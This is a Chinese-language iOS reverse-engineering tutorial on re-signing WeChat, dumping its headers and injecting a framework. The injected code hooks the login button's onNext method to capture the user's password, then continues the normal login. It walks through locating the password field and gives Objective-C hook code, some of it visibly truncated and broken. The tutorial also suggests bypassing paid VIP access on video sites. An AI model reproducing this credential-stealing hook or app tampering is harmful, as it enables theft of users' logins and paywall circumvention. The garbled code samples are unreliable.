1. 程式人生 > IOS開發 >iOS 逆向 - 重籤應用除錯與程式碼修改 (Hook)

iOS 逆向 - 重籤應用除錯與程式碼修改 (Hook)

前言

本篇文章基於前兩篇基礎之上的 . 還沒了解的同學歡迎閱讀 :

應用簽名原理及重簽名

shell 指令碼自動重簽名與程式碼注入

這兩篇文章中花了很多篇幅來講解 簽名重籤程式碼注入 等等 . 那麼重簽了 wx 的應用包,我們到底能不能拿來除錯,能不能看到原始碼,或者說,我們重簽名了到底有什麼用呢 ?

本篇文章我們一起來探索一下 .

"wx" 應用 '原始碼' 提取

準備工具

class-dump 提取碼 : kjjs

class-dump 這個工具可以將 Mach-O 中的類的描述 copy 出來 . 可以理解成把標頭檔案提取出來, ( 但也不僅僅是標頭檔案 ) .

提取

開啟我們下載的越獄微信 ipa

. 轉 zip 解壓,Payload - WeChat 顯示包內容,找到 WeChatMach-O 原始檔 . 複製出來到 class-dump 同路徑下 .

cd 到這個目錄下,執行 :

./class-dump -H WeChat -o ./headers/
複製程式碼

執行完畢 :

其實其原理就是 根據 Mcah-O 中類的描述,屬性,方法 . 進行整理,然後生成,寫入 .

我們看到了一萬多個頭檔案 . 這裡推薦一個方便檢視與搜尋的工具 .

Sublime

直接把 headers 資料夾拖入 Sublime .

你就可以隨意瀏覽了 . 後期會再考慮是否攝入彙編程式碼部分 .

程式碼修改 ( 破壞 / 竊取 ... )

需求 1 : 破壞註冊功能

這個需求比較簡單,實現思路就是程式碼注入的方式,Hook 註冊按鈕的方法 . 修改為自己的方法即可,就不演示了 .

我們來演示個有點意思的.

需求 2 : 獲取使用者登入密碼 但保持其登入功能

我們來一步步玩一下 .

1 重簽名工程

準備好重籤成功的工程,沒有做程式碼注入的,就寫一個 framework,然後 shell 腳本里 yololib 做一下. cmd + r,run 起來.

記得檢查一下 程式碼有沒有注入成功.

2 找到登入按鈕方法

  • 來到如下頁面 .

  • View Debug

左邊選擇視窗,選中登入按鈕,注意不要選中 上面覆蓋的 imageview

了,綠的那個. 右邊看 TargetAction .

注意 :

筆者這裡是 Xcode 11,因此 TargetAction 都是地址,老版本的 Xcode 都是直接顯示類名和方法名的,那麼怎麼辦呢 . lldb .

3 Sublime 找到方法

  • 來到 Sublime 我們開啟好的原始碼中,cmd + shift + F .

  • 搜尋結果,白色框直接雙擊來到這個檔案,找到方法 ( onNext ).

  • 找到這個方法,我有點懵逼 o((⊙﹏⊙))o,為什麼呢 ? 這個方法沒有引數,也就是說它並沒有把使用者密碼當成引數傳遞,當然我們看屬性也沒有把密碼當成一個屬性 . 那咋辦嘛 ?

4 找到密碼輸入框的控制元件

因為我們要 Hook 的是 onNext 方法,那麼在 onNext 方法中,我們只有 self 這個隱式引數可用 . 因此我們去找成員變數和屬性 . 如果找不到,也可以用 subView 的方式,最恐怖的時候 我們甚至要通過控制鏈去找 .

當然這裡不用那麼麻煩,優秀的 wx 工程師的命名規範為我們很快找到一個 這個東西.

他顯然不是一個 textField,但是看起來和輸入框有點關係 . 那我們去看看這個類 .

5 搜尋 WCAccountTextFieldItem

cmd + shift + F@interface WCAccountTextFieldItem

裡面好像沒有看到 textField,不著急,沿著繼承鏈,找父類 WCBaseTextFieldItem.

6 搜尋 WCBaseTextFieldItem

cmd + shift + F@interface WCBaseTextFieldItem

是不是看到了這個 tf .

那麼我們來回顧一下 .

onNext 方法中 我們通過 self._textFieldUserPwdItem.m_textField 就可以拿到輸入框,然後再 .text,不就拿到使用者密碼了嗎 ?

想通了那就開始幹 ?

NO !

注意 : 在逆向除錯的過程中,想通了不一定代表走的通,那這時候如果去擼程式碼,很可能會白乾.

那麼怎麼辦呢 ? lldb 動態除錯一下.

7 動態除錯

  • View Debug,找到 vc,拿到地址 .
  • 通過 valueForKey,找到 _textFieldUserPwdItem,拿到 WCUITextField,拿到其 text

驗證通過,開幹

8 程式碼注入

開啟我們自己注入的 framework,來到 load 方法開始 hook,具體程式碼邏輯我就不詳細介紹了 .

大概總結一下 :

將登陸按鈕的方法換成我們的方法,在我們拿到密碼後在呼叫微信原本的方法繼續執行 .

程式碼我也貼一下 .

注意:

這裡如果使用 method_exchangeImplementations 有個需要注意的點,平時我們大多是在分類中做 hook,那麼 hook 之後,原先的類再訪問我們自己在分類中定義的方法是沒有問題的,因為分類本身就是擴充套件 在原本類的方法列表就會有這個你自己定義的方法.

但是,在此時我們自己注入的 framework 就不行了,因為我們把 onNext 方法的 imp 換成自己的方法,微信呼叫 onNext 來到我們的方法實現,是沒問題的 . 但當我們拿到了密碼想讓其訪問原方法,這個時候呼叫的是給 VCmy_onNext 的訊息,那肯定是找不到的,而如果是我們正向開發使用分類就沒這個問題了,這也是我們為什麼經常使用分類來做 hook 的主要原因,面試再碰到不要再回答 什麼汙染 什麼效率了...

解決辦法也很簡單,這裡我都給大家敲了一遍 貼出來了

    1. 給原本類新增一個方法 . class_addMethod ( 比較麻煩 )
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"程式碼注入成功!");
    
    //原始微信的登入方法
    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"),@selector(onNext));

    //新增新方法
    /**
     * 1、給哪個類新增方法
     * 2、方法編號
     * 3、方法實現(地址)
     */
    BOOL didAddMethod = class_addMethod(objc_getClass("WCAccountMainLoginViewController"),@selector(new_onNext),new_onNext,"v@:");
    //交換
    method_exchangeImplementations(onNext,class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"),@selector(new_onNext)));
    
}

//方法實現IMP
void new_onNext(id self,SEL _cmd){
    //拿出使用者的密碼
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"竊取到使用者的密碼是%@",pwd.text);
    //登入
    [self performSelector:@selector(new_onNext)];
}

@end
複製程式碼
    1. 使用替換
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"程式碼注入成功!");
    
    //使用替換
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"),@selector(onNext)));
    class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"),@selector(onNext),"v@:");
}

// imp 指標 --》 8位元組。
IMP (*old_onNext)(id self,SEL _cmd);

//方法實現IMP
void new_onNext(id self,pwd.text);
    //登入
    old_onNext(self,_cmd);
}
複製程式碼
    1. 使用 getImp / setImp ( 最簡單 )
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"程式碼注入成功!");
    //getIMP 和 setIMP
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"),@selector(onNext)));
    method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"),@selector(onNext)),new_onNext);
}

// imp 指標 --》 8位元組。
IMP (*old_onNext)(id self,_cmd);
}
複製程式碼

其實 二和三的原理就是僅僅把 微信原方法 onNextimp 儲存一下,然後換成我們自己的,在呼叫我們自己的方法之後再直接呼叫一下儲存的 imp . 是不是超級簡單呢 ?

為什麼要講這麼多種方法呢 . 一是方便大家理解,另外後面我們會介紹一個專門來做 Hook 的工具,這個工具大部分都是直接使用的 getIMPsetIMP . 大家敬請期待吧 ?.

執行

  • 控制檯拿到密碼.
  • 頁面上正常呼叫微信登入

這裡簡單模擬了一個需求,來實現了一下,主要是將這種方式介紹給大家,能實現什麼,大家可以自己去玩一玩,例如可否繞過某些視訊網站開通 vip 呢 ? 或者其他想法 .

當然,還是那句話 : 玩逆向 只是為了防護 .